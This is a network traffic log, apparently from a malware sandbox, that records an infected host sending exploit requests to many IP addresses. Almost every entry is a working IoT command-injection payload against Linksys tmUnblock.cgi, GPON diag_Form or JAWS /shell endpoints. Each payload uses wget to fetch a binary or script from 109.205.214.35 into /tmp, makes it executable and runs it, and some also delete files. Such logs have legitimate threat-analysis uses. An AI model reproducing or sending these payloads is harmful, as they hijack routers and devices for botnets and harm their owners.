Mar 21, 2024 05:23:51.309525967 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
2287	192.168.2.13	46032	5.177.33.20	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:50.932482004 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2288	192.168.2.13	48792	212.230.182.222	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:50.932531118 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2289	192.168.2.13	55692	212.43.132.5	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:50.932538986 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2290	192.168.2.13	42864	109.1.135.96	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:50.932562113 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2291	192.168.2.13	42138	5.147.230.56	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:50.932564974 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2292	192.168.2.13	34594	42.186.149.161	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:50.932564974 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2293	192.168.2.13	53294	118.36.177.64	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:50.932590961 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2294	192.168.2.13	50104	109.108.71.183	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:50.932602882 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2295	192.168.2.13	39942	109.46.218.175	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:50.932631969 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2296	192.168.2.13	41938	212.112.49.92	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:50.932642937 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2297	192.168.2.13	53898	42.225.79.102	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:50.932650089 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2298	192.168.2.13	43206	42.237.244.149	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:50.932673931 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2299	192.168.2.13	43468	42.241.113.226	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:50.932687998 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2300	192.168.2.13	40804	42.235.209.76	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:50.932703018 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2301	192.168.2.13	57556	109.217.232.129	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:50.932754040 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2302	192.168.2.13	39294	42.133.148.165	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:50.932761908 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2303	192.168.2.13	37342	42.203.87.129	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:50.932768106 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2304	192.168.2.13	40886	172.67.176.142	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:51.242638111 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:23:51.756242037 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
2305	192.168.2.13	52938	172.67.173.236	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:51.242688894 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:23:51.756242990 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
2306	192.168.2.13	46232	172.64.18.228	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:51.323178053 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
2307	192.168.2.13	58966	172.64.108.182	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:51.346781015 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
2308	192.168.2.13	59940	172.65.8.168	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:51.346843958 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
2309	192.168.2.13	58526	172.65.197.167	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:51.346947908 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
2310	192.168.2.13	53132	172.67.159.215	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:51.347029924 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
2311	192.168.2.13	35132	172.87.200.236	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:51.487396955 CET	110	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
2312	192.168.2.13	53622	74.94.28.250	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:51.614227057 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:52.204250097 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:52.313574076 CET	301	IN	HTTP/1.0 404 Not Found Server: SonicWALL Expires: -1 Cache-Control: no-cache Content-type: text/html;charset=UTF-8 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 46 69 6c 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 48 31 3e 46 69 6c 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e 0d 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 3a 20 2f 73 68 65 6c 6c 3f 63 64 20 2f 74 6d 70 3b 72 6d 20 2d 72 66 20 2a 3b 77 67 65 74 20 0d 0a 3c 50 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e Data Ascii: <HTML><HEAD><TITLE>File Not Found</TITLE></HEAD><BODY><H1>File Not Found</H1>The requested URL was not found on this server: /shell?cd /tmp;rm -rf *;wget <P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2313	192.168.2.13	45214	194.60.201.34	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:51.676631927 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:51.851830006 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:23:51 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2314	192.168.2.13	46106	219.79.115.79	80

Timestamp	Bytes transferred	Direction	Data
